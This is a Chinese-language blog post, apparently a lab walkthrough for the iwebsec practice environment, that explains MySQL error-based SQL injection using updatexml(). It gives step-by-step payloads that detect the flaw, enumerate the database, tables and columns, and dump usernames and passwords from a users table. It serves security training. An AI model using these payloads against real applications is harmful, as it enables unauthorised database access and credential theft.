iwebsec-updatexml报错注入

原理分析

Updatexml()函数“updatexml(XML_document, XPath_string, new_value);”

参数描述
XML_documentString格式,为XML文档对象的名称,文中为Doc
XPath_stringXpath格式的字符串
new_valueString格式,替换查找到的符合条件的数据

即sql语句为“select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1”
concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出用户
0x7eASCII码,实为~,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符~

实战注入

1.判断是否存在漏洞,添加and 1=1# 页面正常回显,and 1=2# 页面回显异常,即存在sql注入漏洞

2.爆出数据库

id=1 and (updatexml(1,concat('~',(select database())),3))#

3.爆出表

id=1 and (updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schame=database())),3))#

4.爆出users表字段

id=1 and (updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users')),3))#

5.爆数据

id=1 and (updatexml(1,concat('~',(select group_concat(username,',',password) from users)),3))#

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

拾柒SHY

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值